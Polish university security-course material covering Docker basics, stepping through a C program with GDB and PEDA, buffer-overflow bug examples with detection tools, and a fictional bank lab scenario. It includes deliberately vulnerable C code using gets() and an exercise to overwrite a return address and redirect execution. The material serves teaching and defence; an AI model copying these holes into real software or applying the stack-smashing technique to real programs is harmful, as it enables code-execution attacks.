Na podstawie tej infrastuktury zbudowanych jest kilka środowisk dających wygodne narzędzia do wirtualizacji, są to. np. Linux Containers (LXC), OpenVZ, Docker. Na tych zajęciach przyjrzymy się bliżej jako przykładowi temu ostatniemu rozwiązaniu.

1.3. Docker

Docker składa się z procesu serwera, który odpowiada za faktyczne tworzenie kontenerów, ich modyfikacje, itp. oraz klienta, którego funkcją jest zapewnianie możliwości korzystania z serwera. W celu skonfigurowania nowego kontenera, tworzymy w pustym katalogu plik o nazwie Dockerfile z zawartością odpowiadającą naszym potrzebom. Oto przykładowa zawartość:

FROM debian:buster
# O ile chcemy, aby proces działał w środowisku Debian 10
MAINTAINER Kto To Wie
 
RUN apt-get update && apt-get install -y apache2 
 
EXPOSE 80
 
CMD apachectl -D FOREGROUND

pierwsza linia oznacza obraz systemu operacyjnego, z którego korzystamy na początku pracy. Docker ma centralny rejestr obrazów, z których można korzystać przy tworzeniu kontenerów, są w nim w szczególności podstawowe instalacje różnych dystrybucji. Jeśli chcemy uniezależnić się od twórców Dockera, można też uruchomić własny taki serwer.

Linia z wpisem MAINTAINER jest wymagana, ale ma charakter informacyjny. Następnie mamy (być może kilka) linii z poleceniami RUN. Opisują one polecenia potrzebne do przygotowania docelowej konfiguracji kontenera. W celu uniknięcia zbyt częstego wykonywania tych samych poleceń Docker zapamiętuje stan kontenera po każdej linijce z pliku Dockerfile w sposób analogiczny do migawek zwykłych maszyn wirtualnych.

Polecenie EXPOSE 80 udostępnia światu port 80. Polecenie CMD określa polecenie, które będzie służyło do faktycznego uruchomienia kontenera - w tym przypadku jest to serwer Apache. Gdy podany proces zakończy działanie Docker zatrzyma wszystkie procesy w kontenerze

W celu uruchomienia naszego kontenera wchodzimy do odpowiedniego katalogu z plikiem Dockerfile i wykonujemy polecenia:

docker build .
docker container run <id_obrazu>

lub krócej

docker run <id_obrazu>

Polecenie docker build . zbuduje obraz na podstawie pliku Dockerfile (w tym przypadku na Debianie 10, ale np. z dołączonymi naszymi plikami), polecenie docker run id_obrazu uruchomi proces serwera Apache w nowym kontenerze w środowisku naszego obrazu.

Polecenie

docker images

lub

docker image ls

pozwala sprawdzić identyfikator (id) obrazu.

Jeśli chcemy szybko uruchomić proces w nowym kontenerze (w środowisku Debian 10) bez pisania pliku Dockerfile, możemy napisać

docker run -t -i debian:buster /bin/bash

Polecenie docker run wykona wtedy kilka kroków:

• Ściągnie obraz Debiana bustera, jeśli wcześniej nie był ściągnięty za pomocą polecenia docker pull debian:buster
• Utworzy nowy kontener.
• Nadmontuje nad obrazem warstwę rw.
• Ustanowi nowy adres IP.
• Uruchomi nowy proces w środowisku określonym przez obraz/warstwę rw

Należy zwrócić uwagę, że istnieje duża różnica między docker run id_obrazu, a docker start id_kontenera. (W tym samym znaczeniu można wykonać docker container run id_obrazu lub docker container start id_kontenera). Polecenie Dockera run zawsze tworzy nowy kontener.

Kilka przykładów operacji na kontenerach:

docker container ls -a (listowanie wszystkich)
docker container run <id_obrazu> (uruchamia proces w nowym kontenerze, w środowisku obrazu o danym id)
docker container stop <id_kontenera> (zatrzymywanie kontenera)
docker container start <id_kontenera> (uruchamianie zatrzymanego kontenera)
docker container rm <id_kontenera> (usuwanie)
docker container prune (usuwanie wszystkich zatrzymanych)

Można też oczywiście usuwać obrazy (docker image rm id_obrazu lub docker image prune -- usuwa wszystkie nieużywane). Tak jak było widać już wcześniej, np. polecenie docker stop wykona to samo, co docker container stop, ale nie zadziała docker prune, trzeba użyć docker image prune lub docker container prune. Pierwsze usuwa obrazy, drugie kontenery. Warto sprawdzić jakie opcje są dostępne dla danego polecenia Dockera: docker --help, docker container --help, docker image --help, docker container ls --help itd.

Należy pamiętać, że obraz (image) i kontener (container) to nie to samo. Obraz daje możliwość utworzenia środowiska
dla procesu w kontenerze, środowiska opartego na konkretnym systemie operacyjnym (Debianie 9, Debianie 10, Ubuntu itp).
Można powiedzieć, iż kontenery korzystają z obrazów, z jednego obrazu może korzystać wiele kontenerów. Więcej informacji
na temat przechowywania danych, warstw z których składa się dockerowa pamięć nieulotna można znaleźć na https://docs.docker.com/storage/storagedriver/.

1.3.1 Ciąg dalszy

Docker oraz plik Dockerfile mają jeszcze wiele możliwości, których nie poznaliśmy. Co ciekawe, od wersji Docker Engine 19.03, istnieje możliwość pracy w trybie nie roota, w tej wersji cecha ta jest uważana za eksperymentalną. Do używania w tym trybie zalecana jest najnowsza wersja 20.10.

Warto też nadmienić, że chociaż początkowo korzystanie z Dockera pod Windows skazywało nas na korzystanie z systemów windowsowych wewnątrz kontenerów, a korzystanie z Linuksa z systemów linuksowych, to obecnie te ograniczenia zostały pokonane i pod Windows można korzystać z Linuksa i vice versa (choć w nieco bardziej skomplikowany sposób).

Pełna dokumentacja Dockera jest dostepna pod adresem https://docs.docker.com/get-started/overview/.

Zadanie pokazujące aktywność

Zainstaluj dockera, pod Debianem 10 wystarczy:

apt-get install docker.io

docker pull debian:buster
docker run -i -t debian:buster bash -l

Jako ćwiczenie umieść w kontenerze pliki swojego rozwiązania zadania z tematu ACL i SUDO oraz program z obsługą PAM-a napisany na zajęciach z PAM-a. Uruchom w dokerze skrypt napisany z zadania z tematu ACL i SUDO i skompiluj program z PAM-em, a następnie uruchom skompilowany program. Odpowiedni Dockerfile prześlij na Moodle.

GDB i analiza programów

GDB i analiza programów

Instalacja nakładki PEDA

Korzystanie z GDB bez dodatkowych narzędzi jest dosyć kłopotliwe. Narzędzie to oferuje bardzo nieporęczny, niskopoziomowy interfejs, którego opanowanie wymaga wiele wysiłku, a po opanowaniu używanie jest pracochłonne. Dlatego powstało wiele nakładek na GDB, które wspomagają różnego rodzaju działania. Na naszych zajęciach przyjrzymy się bliżej nakładce PEDA (ang. Python Exploit Development Assistance), która jest używana do wykazywania podatności aplikacji na ataki.

Instalacja nakładki PEDA sprowadza się do ściągnięcia jej kodu z repozytorium:

# git clone https://github.com/longld/peda.git ~/peda

i wpisaniu do pliku konfiguracyjnego GDB (.gdbinit) kodu ładującego procedury PEDA:

Pierwsze kroki w GDB (z PEDA)

Na zajęciach będziemy pracowali nad kodem następującego programu w C (plik sum.c).

#include <stdio.h>

int process(int a, int len)
{
  int ar[8];
  for (int i=0; i < len; i++)
    ar[i]=a+i;
  int sum = 0;
  for (int i=0; i < len; i++)
    sum+=ar[i];
  
  return sum;
}

int main(void)
{
    int n = 10;
    int i = 1;
    int sum = 0;
    for(;i <=n;i++)
      sum+=process(i, 8);
    printf("\n Sum is : [%d]\n",sum);
    return 0;
}

Dla ułatwienia naszej pracy skompilujemy go poleceniem:

Możemy teraz uruchomić debugger na tak skompilowanym kodzie:

Otrzymamy dłuższe powitanie, po którym pojawi się znak zachęty:

Możemy teraz uruchomić załadowany program, pisząc run lub po prostu r. Otrzymamy wtedy informacje o ładowaniu otoczenia wykonywanego programu, jego wyjście oraz raport z zamykania jego procesów:

Starting program: /home/alx/Praca/Zajecia/BSK/gdb/sum 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

 Sum is : [720]
[Inferior 1 (process 1141169) exited normally]
Warning: not running

Jednak ogromna siła GDB polega na tym, że możemy działanie programu zatrzymać we wskazanym punkcie i począwszy od tego punktu rozpocząć wykonanie programu i ewentualnie wpłynąć na jego działanie przez podmianę danych w trakcie działania programu.

Punkt zatrzymania biegu programu ustalamy, ustanawiając tzw. punkt przerwania (ang. breakpoint). Robimy to poleceniem

lub

Często pierwszą rzeczą, jaką robimy po wejściu do GDB jest napisanie:

W ten sposób ustawiamy sobie punkt przerwania na pierwszej instrukcji funkcji main. Jak widać możemy wstawiać symbole z tablicy symboli za punkty przerwania. W takim razie po poprzednich zajęciach możemy mieć ochotę napisać też:

Jednak pech chce, że po załadowaniu programu z informacjami dotyczącymi debugowania do pamięci, symbol _start jest niejednoznaczny, gdyż występuje on nie tylko w skompilowanym programie, ale i w dynamicznie ładowanych bibliotekach. Dlatego bezpieczniej jest założyć punkt przerwania na adresie wyczytanym za pomocą objdump.

Wtedy będziemy rzeczywiście mogli prześledzić wykonanie kodu spod symbolu _start pochodzącego z naszego programu.

Wróćmy jednak do wykonywania funkcji main. PEDA oferuje tutaj pewne usprawnienie, bo zamiast przechodzić przez sekwencje ustawienia punktu przerwania na main i uruchomienia run, wystarczy, że uruchomimy polecenie

które automatyzuje te kroki.

Gdy już program nam się zatrzyma na początku funkcji main, możemy zacząć wykonywać go krok po kroku, używając poleceń

• step (w skrócie s) do wykonania jednej instrukcji z granulacją określoną wierszami w kodzie źródłowym,
• stepi (w skrócie si) do wykonania jednej instrukcji z granulacją wskazaną przez kod maszynowy,
• next (w skrócie n) do wykonania jednej instrukcji z granulacją wskazaną w kodzie źródłowym, ale bez wchodzenia do wywołań,
• nexti (w skrócie ni) do wykonania jednej instrukcji z granulacją wskazaną przez kod maszynowy, ale bez wchodzenia do wywołań.

Oczywiście wpisywanie w kółko nawet powyższych skrótów jest niewygodne, więc warto pamiętać, że naciśnięcie klawisza przejścia do nowego wiersza powoduje wykonanie ostatnio wpisanej instrukcji. Dodatkowo powyższe instrukcje wykonane z parametrem liczbowym (np. step 5) pozwalają na wykonanie wskazanej w parametrze liczby instrukcji. Zwykle też wygodne jest użycie

• xuntil <punkt>
  prowadzące do wykonania kodu aż do osiągnięcia wskazanego punktu w kodzie.

Co PEDA wyświetla?

Po przejściu przez każdy krok wykonania GDB z nakładką PEDA wypisuje nam najważniejsze elementy kontekstu wykonania programu, są to w kolejności wyświetlania:

• aktualna zawartość rejestrów,
• okolice właśnie wykonywanej instrukcji,
• okolice szczytu stosu.

Zawartość rejestrów jest przedstawiana w formie ciągu wierszy, z których każdy zaczyna się nazwą rejestru, po której następuje jego aktualna wartość, a dalej, jeśli wartość da się zinterpretować jako adres w aktualnej przestrzeni adresowej procesu, to wartość, jaka znajduje się pod adresem z rejestru. Rejestr flag ($eflags) opatrzony jest dodatkowo słownym opisem tego, jakie flagi są ustawione.

Okolice właśnie wykonywanej instrukcji zawierają zapisy postaci

   0x401183 <main>:     push   rbp
   0x401184 <main+1>:   mov    rbp,rsp
   0x401187 <main+4>:   sub    rsp,0x10
=> 0x40118b <main+8>:   mov    DWORD PTR [rbp-0xc],0xa
   0x401192 <main+15>:  mov    DWORD PTR [rbp-0x4],0x1
   0x401199 <main+22>:  mov    DWORD PTR [rbp-0x8],0x0
   0x4011a0 <main+29>:  jmp    0x4011b8 <main+53>
   0x4011a2 <main+31>:  mov    eax,DWORD PTR [rbp-0x4]

Instrukcja, która w następnym kroku ma być wykonana jest wyróżniona za pomocą znacznika =>. W każdym wierszu widzimy najpierw adres instrukcji, po którym występuje symboliczne wskazanie, jakiemu miejscu której procedury adres odpowiada (np. <main+8>), a następnie widzimy mnemonik instrukcji maszynowej wraz z jego argumentami.

Trzeci blok to blok stosu wygląda tak

0000| 0x7fffffffd628 --> 0x7ffff7dc4560 (<__libc_start_call_main+128>:	mov    edi,eax)
0008| 0x7fffffffd630 --> 0x400040 --> 0x400000006 
0016| 0x7fffffffd638 --> 0x40112a (<main>:	sub    rsp,0x8)
0024| 0x7fffffffd640 --> 0x1000006f0 
0032| 0x7fffffffd648 --> 0x7fffffffd758 --> 0x7fffffffdb75 ("/irgendwie/irgendwo/sum")
0040| 0x7fffffffd650 --> 0x0 
0048| 0x7fffffffd658 --> 0x7ea1c88705a356f0 
0056| 0x7fffffffd660 --> 0x7fffffffd758 --> 0x7fffffffdb75 ("/irgendwie/irgendwo/sum")

Jego zawartość jest podobna w formie i znaczeniu do zawartości bloku rejestrów, ale informacje zaczynają się nie od nazwy rejestru, a od adresu na stosie. Widzimy tutaj dwa pola - w pierwszym znajduje się wielkość przesunięcia danej pozycji adresowej względem szczytu stosu, dalej znajduje się rzeczywisty adres pozycji. Po adresie, za strzałką --> znajduje się zawartość pozycji na stosie.

Dodatkowo wszystkie adresy są pokolorowane, dzięki czemu w miarę szybko można się zorientować, do czego one prowadzą. Adresy czerwone są wskaźnikami do kodu, adresy niebieskie do danych zmienialnych, adresy zielone to adresy do danych przeznaczonych tylko do odczytu.

Gdyby przytłaczał nas nadmiar informacji ze wszystkich trzech sekcji, możemy sobie wyświetlić tylko jedną z nich za pomocą odpowiednio:

• context reg
• context code
• context stack

Jeśli interesuje nas kod źródłowy programu, który badamy (niestety ta możliwość jest dostępna tylko, gdy program został skompilowany z opcją -g, czego się w zasadzie nie robi dla kodu produkcyjnego), to możemy napisać

• list

które polecenie wypisze nam fragment kodu źródłowego z okolic właśnie wykonywanej instrukcji maszynowej.

Wielkość kontekstu w razie potrzeby można regulować za pomocą parametru liczbowego, po poleceniu (po code lub stack).

Gdyby powyższe udogodnienia PEDA nam nie wystarczały, to możemy spróbować użyć podstawowego, służącego do wyświetlania danych polecenia GDB. Ma ono postać:

• print <nazwa zmiennej>

Spowoduje to wypisanie zmiennej zadeklarowanej w kodzie źródłowym zgodnie z jej typem. Można używać też formy skróconej tego polecenia - p, a i też jako zmiennej użyć identyfikatora rejestru. Wreszcie można podpowiedzieć poleceniu nieco, w jakiej formie ma wypisać wynik

• p/x  <nazwa zmiennej> - wypisze wartość zmiennej szesnastkowo,
• p/d  <nazwa zmiennej> - wypisze wartość zmiennej dziesiętnie,
• p/s <nazwa zmiennej> - wypisze wartość zmiennej jako napis.

Jeszcze jedna forma wypisywania danych możliwa jest do uzyskania za pomocą polecenia

Litera x jest tutaj skrótem od angielskiego examine. Literki nfu reprezentują tutaj symbolicznie różne opcjonalne parametry wypisywanej wartości:

• n - wskazuje za pomocą liczby dziesiętnej, ile kolejnych wartości z pamięci ma zostać wypisane,
• f - wskazuje, w jakim formacie mają być wypisywane wartości (dziesiętnie, szesnastkowo, jako napis, jako instrukcje asemblera i.in.),
• u - rozmiar wypisywanej jednostki pamięci (b to bajty 8-bitowe, h to półsłowa 16-bitowe, w to słowa 32-bitowe, g to gigantyczne słowa 64-bitowe).

Na przykład wypisanie 5 instrukcji, począwszy od szczytu stosu można uzyskać tak:

Przejście przez program

Spróbujmy teraz przejść się trochę po danym nam kodzie programu. Zaczniemy od wykonania

(0x4011a0 jest podejrzanym przez nas za pomocą objdump adresem początka pętli). Możemy się teraz zabawić w podmianę danych na gorąco:

spowoduje, że zaczniemy sumowanie nie od zera, ale od 100, co da nam wyraźnie inny wynik końcowy, o czym się przekonamy, prosząc GDB o kontynuację wykonywania kodu za pomocą continue (lub po prostu c).

Trochę bardziej kłopotliwe jest zmienianie wartości zmiennych n czy i, gdyż te są uznawane za skróty poleceń GDB. Dlatego dla nich lepiej jest pisać od razu

Możemy się też w każdej chwili przekonać, jaka jest wartość zmiennej sum w danym momencie

czy zmiennej n.

lub jakiegoś rejestru

Ciekawy efekt uzyskamy, gdy wykonamy

(tu dostaniemy się tuż przed wywołanie process), a następnie zmienimy zawartość rejestru odpowiadającego za drugi argument wywołania:

Gdy liczbę 13 zamienimy na 14, efekt będzie jeszcze ciekawszy.

Poszukiwanie wzorców

Uruchommy nasz program od początku poleceniem start.

Ważnym narzędziem pozwalającym na stosunkowo szybkie trafienie w miejsce przetwarzania programu, jakie nas interesuje, jest wyszukanie jakiegoś napisu, który nam się pojawia w interfejsie użytkownika. W naszym przykładowym programie moglibyśmy poszukać napisu "Sum". Można to zrobić za pomocą:

Uzyskamy wtedy mniej więcej taki wynik:

Searching for 'Sum' in: None ranges
Found 2 results, display max 2 items:
sum : 0x402012 ("Sum is : [%d]\n")
sum : 0x403012 ("Sum is : [%d]\n")

Poszukiwanie to może być znacznie bardziej skomplikowane i poszukiwane mogą być wystąpienia pasujące do wyrażenia regularnego, a także może ono być ograniczone tylko do jakichś obszarów (np. możemy szukać jakiegoś wzorca w kodzie biblioteki dzielonej).

Jak już znajdziemy interesujący nas napis, to możemy poprosić GDB, aby zatrzymało się przy próbie odwołania do tego adresu:

(niekoniecznie musi to być początek znalezionego regionu). Gdy teraz uruchomimy wykonanie za pomocą c, nasz program zatrzyma się w jakimś miejscu. Polecenie bt wyświetli nam stos wywołanych do tej pory funkcji. Dzięki temu możemy się zorientować, jakie wywołanie biblioteczne powoduje odwołanie do tego naszego adresu (ta wiedza jest bardzo nieoczywista, gdy nie mamy do dyspozycji kodu źródłowego programu). W naszym wyniku zobaczymy, że jesteśmy gdzieś w środku wywołania funkcji __printf. Możemy teraz kilka razy użyć polecenia finish, aby wyjść z wywołania tej funkcji. Wtedy zaś możemy za pomocą odpowiedniego polecenia context rozejrzeć się, co doprowadziło do wypisania danego napisu.

Zabawa ze stosem

Jeszcze raz wystartujmy nasz program od początku. Następnie po uruchomieniu za pomocą start ustawmy punkt zatrzymania programu na funkcji process i puśćmy działanie programu do momentu trafienia na tę funkcję.

Po przyjrzeniu się stosowi możemy zauważyć, że adres powrotu z procedury process znajduje się tam pod adresem 0x7fffffffd5f8. Spróbujmy pod ten adres wpisać jakąś inną wartość:

Jeśli teraz poprosimy GDB o kontynuację działania programu (c), to okaże się, że program zakończy działanie na SIGSEGV. To jest łatwe do wytłumaczenia, bo przecież kazaliśmy mu skoczyć pod adres zerowy. Może ciekawsze jednak będzie, jeśli przed wykonaniem polecenia set nieco lepiej dobierzemy adres powrotu. Spróbujmy za pomocą

dowiedzieć się, pod jakim adresem znajduje się funkcja _exit (uwaga: koniecznie z podkreśleniem na początku) i wpisać na stosie zamiast adresu powrotu z process właśnie ten adres:

(tutaj trochę staranności wymaga to, żeby pod wskazany adres trafiła wartość 64-bitowa, a nie 32-bitowa, powyższa forma zagwarantuje nam właśnie takie działanie).

Okazuje się, że tym razem funkcja wychodzi całkiem zgrabnie, bez niepotrzebnego alarmu w postaci błędu segmentacji.

Dalsze lektury

• Dokumentacja GDB jest tutaj
• Strona PEDA jest tutaj.

Ćwiczenie

Rozważmy program

#include <stdio.h>
#include <stdlib.h>

void bad_function(void) {
  char buff[4];
  printf("Podaj mi jakiś napis:");
  gets(buff);
  printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}

void root_me(void) {
  printf("Ha, ha, mam Cię!!!\n");
}

int main() {
  bad_function();
  exit(0);
}

Skompiluj plik wlam.c z powyższym kodem za pomocą polecenia:

Dla uzyskanego pliku wykonywalnego wykonaj następujące czynności:

• Ustal, jaki adres ma kod funkcji root_me po załadowaniu do pamięci.
• Ustal, za pomocą GDB, jakiej długości napis spowoduje nadpisanie adresu powrotu z funkcji bad_function.
• Spreparuj za pomocą polecenia postaci
  # echo "odpowiedni napis" | ./wlam
  eksploita, który spowoduje wypisanie Ha, ha, mam Cię!!! i poprawne zakończenie programu. (Podpowiedź: do tego ostatniego użyj funkcji exit, przyda się też lektura podręcznika man dla polecenia echo).
• Skrypt zawierający powyżej spreparowane polecenie prześlij do Moodle.

Intermezzo: Narzędzia wspomagające pisanie bezpiecznego kodu

Wprowadzenie

Jednym z najważniejszych pierwotnych źródeł problemów z bezpieczeństwem oprogramowania są błędy programistyczne. Organizacja o nazwie Common Weakness Enumeration zajmuje się śledzeniem wszelkiego rodzaju błędów programistycznych prowadzących do luk w bezpieczeństwie oraz promowaniem technik pozwalających ich uniknąć. Dodatkowo fundacja Open Web Application Security Project zajmuje się śledzeniem błędów występujących w aplikacjach WWW.

Organizacje te publikują swoje rankingi błędów powodujących najgroźniejsze luki w bezpieczeństwie:

• 2021 CWE Top 25 Most Dangerous Software Weaknesses
• OWASP Top Ten

Warto się im przyjrzeć.
Warto regularnie przeglądać, aby doskonalić swój warsztat programistyczny.

W związku z tym, że błędy przepełnienia bufora należą do najpoważniejszych, skupimy się nieco właśnie nad nimi.

Błędy przepełnienia bufora

Przyjrzyjmy się dokładniej jednemu z najczęściej pojawiających się błędów prowadzących do luk w bezpieczeństwie. Powaga tego błędu wynika szczególnie z faktu, że może on doprowadzić do nadpisania adresu powrotu z procedury, a to z kolei do wykonania kodu, który został wstawiony do programu jako dane.

Przykłady

Oto kilka przykładów kodu prowadzącego do luk w bezpieczeństwie (zainspirowane materiałami z CWE oraz SEI CERT).

Przykład 1

Pierwszy przykład to rzecz, która zdarza się w zasadzie jedynie nowicjuszom, ale też po wielu godzinach pracy i doświadczonemu programiście uda się taki błąd popełnić.

float grades[2];
 
/* Populate the array with initial grades. */
 
grades[0] = 1.0;
grades[1] = 2.0;
grades[2] = 3.5;

Tablica zadeklarowana jako dwuelementowa nie zmieści w swoim zakresie trzech elementów. W związku z tym, że tablice w C są indeksowane od 0, mamy nieintuicyjną sytuację, że indeks widoczny w deklaracji tablicy nie jest dostępny. Tego rodzaju błędy można wyłapać następującymi narzędziami:

• cppcheck --enable=all <nazwa_pliku>.c
• clang -Warray-bounds <nazwa_pliku>.c

Przykład 2

#include <stdlib.h>
#include <string.h>
 
int recordSize(void * p) {
 
   int i = 0;
   for (i=0; i < 100;i++) {
       if (*((char*)p+i) == 0) return i+1;
   }
   return -1;
}
 
int main() {
...
memcpy(destBuf, srcBuf, (recordSize(destBuf)-1));
...
}

Funkcja obliczająca długość bufora może dać w wyniku sygnał błędu (-1), który powinien być jawnie sprawdzany. Brak sprawdzenia może spowodować, że zainicjowane zostanie kopiowanie bardzo dużej ilości danych. Tego rodzaju błędy można wyłapać narzędziami, które sprawdzają zgodność typów w sposób ścisły:

• gcc -Wconversion  <nazwa_pliku>.c
• clang -Wconversion  <nazwa_pliku>.c

Przykład 3

#include <stdlib.h>
#include <string.h>
#include <stddef.h>
 
char * transform(char *input_string, size_t len){
   int i, j;
   char *buf = (char*)malloc(3*sizeof(char) * len + 1);
   if (buf==NULL) return NULL;
   j = 0;
   for ( i = 0; i < strlen(input_string); i++ ){
      if( '&' == input_string[i] ){
         buf[j++] = '&';
         buf[j++] = 'l';
         buf[j++] = 't';
         buf[j++] = ';';
      } else buf[j++] = input_string[i];
   }
   return buf;
}

W tym kodzie błąd polega na tym, że zaalokowana przestrzeń może nie być wystarczająca, ponieważ znak '&' jest zamieniany na cztery znaki, ale przy alokacji jest używany mnożnik 3 – duża liczba znaków '&' spowoduje przekroczenie zakresu zaalokowanej pamięci.

Błędy takie, jak w Przykładzie 3 można wykrywać za pomocą narzędzi takich jak ElectricFence. Narzędzie to działa w ramach testowania działającego programu zawierającego błędny kod. W trakcie działania programu podmieniany jest alokator pamięci tak, że dynamicznie alokowane bufory są umieszczane tak, iż koniec (lub początek) bufora wypada na końcu strony, zaś strona jest ulokowana tak, że następna strona nie jest przydzielona do procesu. Dzięki temu każde wyjście poza zakres bufora kończy się błędem segmentacji.

Badanie, czy występuje tego typu problem wykonujemy za pomocą pakietu ElectricFence przez wywołanie polecenia:

ef <nazwa programu> <parametry wywołania>

gdzie <nazwa programu> to nazwa programu ze skompilowanym kodem z parametrami tak dobranymi, aby doprowadzić do wykonania wadliwego kodu.

O wpisach poza zarezerwowany bufor ostrzeże nas też program valgrind, gdy go wywołamy tak:

valgrind <nazwa programu> <parametry wywołania>

Działa on na podobnej zasadzie, co ElectriFence, ale do wykrywania błędów wykorzystuje nie alokowanie na granicy strony, a zapisywanie na brzegach bufora specjalnych wartości zwanych kanarkami. Powyższe wywołanie da m.in taki wynik

...
==81332== Invalid write of size 1
==81332==    at 0x4011AF: transform (in /somewhere/compiled_code)
==81332==    by 0x401265: main (in /somewhere/compiled_code)
==81332==  Address 0x4a81060 is 1 bytes after a block of size 31 alloc'd
==81332==    at 0x484186F: malloc (vg_replace_malloc.c:381)
==81332==    by 0x40115F: transform (in /somewhere/compiled_code)
==81332==    by 0x401265: main (in /somewhere/compiled_code)
...

Przykład 4

#include <stdlib.h>
#include <string.h>
 
void provide_name(char *);
 
char* give_name(){
  char name[64];
 
  provide_name(name);
  if (name[0] == '.') return NULL;
  char* res = (char*)malloc(64);
  if (res==NULL) return NULL;
  strcpy(name, res);
  return res;
}

Tutaj funkcja give_name pobiera z funkcji provide_name nazwę name, ale nigdzie nie jest sprawdzane, czy uzyskany wynik mieści się w 64 bajtach. Funkcja provide_name może w trakcie swojego wykonania spowodować nadpisanie adresu powrotu z funkcji give_name.

Tutaj problem można wykryć za pomocą techniki kanarków. Obecnie jest ona bez problemu wspierana przez współczesne kompilatory. Wystarczy skompilować program tak:

• gcc -fstack-protector <nazwa_pliku>.c
• clang -fstack-protector <nazwa_pliku>.c

a następnie go uruchomić. Jeśli nastąpi przekroczenie zakresu bufora dostępnego na stosie (name), to przy wychodzeniu z funkcji (give_name) mechanizm wykonawczy sprawdzi, że naruszona została zawartość specjalnie spreparowanych kilku bajtów umieszczonych między buforem a adresem powrotu z procedury. Program zakończy się w tym momencie błędem segmentacji poprzedzonym komunikatem w stylu:

*** stack smashing detected ***: terminated

Warto przyjrzeć się dokumentacji gcc, żeby zobaczyć, jak można wpłynąć na zawartość wspomnianego kanarka.

Nota bene powyższy kod to przykład źle zaprojektowanego interfejsu programistycznego, bo skąd niby funkcja provide_name ma się w swojej treści dowiedzieć, jakiej wielkości bufor może wypełnić danymi?

Przykład 5

#include <string.h>
#include <stdio.h>
 
void truncend(char *input_string){
   int i = strlen(input_string);
   while (input_string[--i] != ';');
   input_string[i+1] = 0;
}
 
int main() {
	char  a[30];
        strcpy(a,";ala ma kota");
	truncend(a+2);
	printf("%s\n", a);
}

W kodzie tym, jeśli założymy, że bufor input_string jest prawidłowym napisem zaterminowanym znakiem o kodzie 0, znajduje się błąd polegający na tym, że można wyjść poza bufor wejściowy na jego początku.

Znaleźć błąd w tym kodzie pomoże nam program frama-c. Wywołanie:

frama-c -eva -eva-precision 1 <nazwa programu>.c

da między innymi taki wynik:

[eva:final-states] Values at end of function truncend:
  i ∈ {-2; -1; 0; 1; 2; 3; 4; 5; 6; 7; 8; 9}
  a[0..12] ∈ [--..--] or UNINITIALIZED
   [13..29] ∈ UNINITIALIZED
[eva:final-states] Values at end of function main:
  a[0..12] ∈ [--..--] or UNINITIALIZED
   [13..29] ∈ UNINITIALIZED
  __retres ∈ {0}
  S___fc_stdout[0..1] ∈ [--..--]

Łatwo wyczytamy z niego, że niespodziewanie zmienna i może tutaj przyjąć wartości ujemne.

Przykład 6

#include <sys/socket.h>
#include <netinet/in.h>
 
#define MAX_NO_ADDR 100
 
size_t get_no_addresses();
 
int main() {
 
  size_t no_addr;
  int i;
 
  no_addr = get_no_addresses();
  if ((no_addr == 0) || (no_addr > MAX_NO_ADDR)) {
     exit(-1);
  }
  in_addr_t *addrs = (in_addr_t *)malloc(no_addr * sizeof(in_addr_t));
 
  for(i=0; i<no_addr; i++) {
    addrs[i] = 0xFFFFFFFF;
  }
  addrs[no_addr] = 0;
}

Tutaj w intencji tablica addrs ma być wypełniona niezerowymi adresami internetowymi, a zerowy adres ma oznaczać koniec tablicy. Błąd polega na tym, że alokacja uwzględnia miejsce na właściwe adresy, ale nie uwzględnia miejsca na terminujący adres zerowy.

W tym i następnym przykładzie zachęcamy Państwa do spróbowania znalezienia błędu za pomocą narzędzi samemu.

Przykład 7

int main() {
  ...
  scanf("%d", &srcBuf); 
  strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
  ...
}

Tutaj problematyczne jest użycie funkcji find, która może dać w wyniku -1, gdy znak ch nie występuje w buforze srcBuf. Dodatkowo, jeśli na wartość wskaźnika w srcBuf może wpływać użytkownik, to uzyskuje on narzędzie do wstawienia dowolnej wartości pod adres destBuf.

Standardy kodowania

Oprócz list groźnych błędów wspomniane organizacje publikują także poradniki dotyczące zasad dobrego kodowania:

• Wskazówki dotyczące bezpiecznego kodowania (MISRA) (wymaga zakupienia)
• Poradnik bezpiecznego kodowania OWASP
• Standard kodowania w C opracowany przez SEI CERT (najbogatszy bezpłatny poradnik)

To ostatnie źródło nie pochodzi od omawianych tutaj organizacji, ale jest najbogatszym źródłem porad, które też zawiera informacje, jakie narzędzia wspomagają unikanie poszczególnych rodzajów błędów. Dodatkowo źródło to jest bezpłatne.

Ćwiczenie

Znajdź za pomocą opisanych powyżej narzędzi trzy błędy związane z operacjami na pamięci w kodzie załączonego pliku blad.c (błędy związane z typami całkowitoliczbowymi się nie liczą). Wywołania, które wskazują na błąd, oraz wypisywane przez nich komunikaty zapisz w pliku tekstowym i wyślij go za pomocą Moodle. Uwaga: znalezione błędy niekoniecznie muszą należeć do omówionych powyżej.

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
 
#define ERROR  '@'
 
int palindrome_with_error(char* buf, size_t size) {
 
  char* tmp;
  size_t len;
  size_t i;
 
  buf[size] = '\0';
  tmp = (char*) malloc(size);
  if (tmp==NULL) return -1;
  len = strlen(buf);
  for (i = len; i>=0; i--) {
    if (buf[i] == ERROR) return -1;
    tmp[len-i]=buf[i];
  }
  int res = strcmp(buf, tmp);
  free(tmp);
  return res;
}
 
 
int main() {
  char a[10];
  strcpy(a, "aba");
  if (palindrome_with_error(a, 3))
    printf( "OK\n");
}

Laboratorium 0: zajęcia organizacyjne

Na infrastrukturę komputerową banku Green Forest Bank nastąpił atak włamywaczy. Atak spowodował wyciek informacji o klientach firmy oraz poważne uszkodzenie danych finansowych, co grozi nieobliczalnymi skutkami. Firma już podnosi się z kryzysu. Częścią planu uzdrowienia sytuacji jest wdrożenie nowych zasad bezpieczeństwa. Waszym zadaniem jest wprowadzenie części rozwiązań określonych w zasadach bezpieczeństwa w życie.

Dostaliście zadanie, aby wdrożyć procedury bezpieczeństwa w następującym zakresie:

1. Opracowanie drzew ataku, oceniających szanse przeprowadzenia kolejnego ataku na firmę.
2. Prawa dostępu i monitorowanie
   • ACL - ustawienie wygodnych i bezpiecznych praw dostępu do zasobów banku.
   • Syslog - określenie zasad monitorowania systemów banku.
3. Badanie plików binarnych
   • Przećwiczenie badania narażonych na ataki programów binarnych
4. Kontrola dostępu
   • Programowanie z biblioteką PAM - stworzenie szkieletu aplikacji dla pracowników firmy z ustanowieniem standardu kodowania.
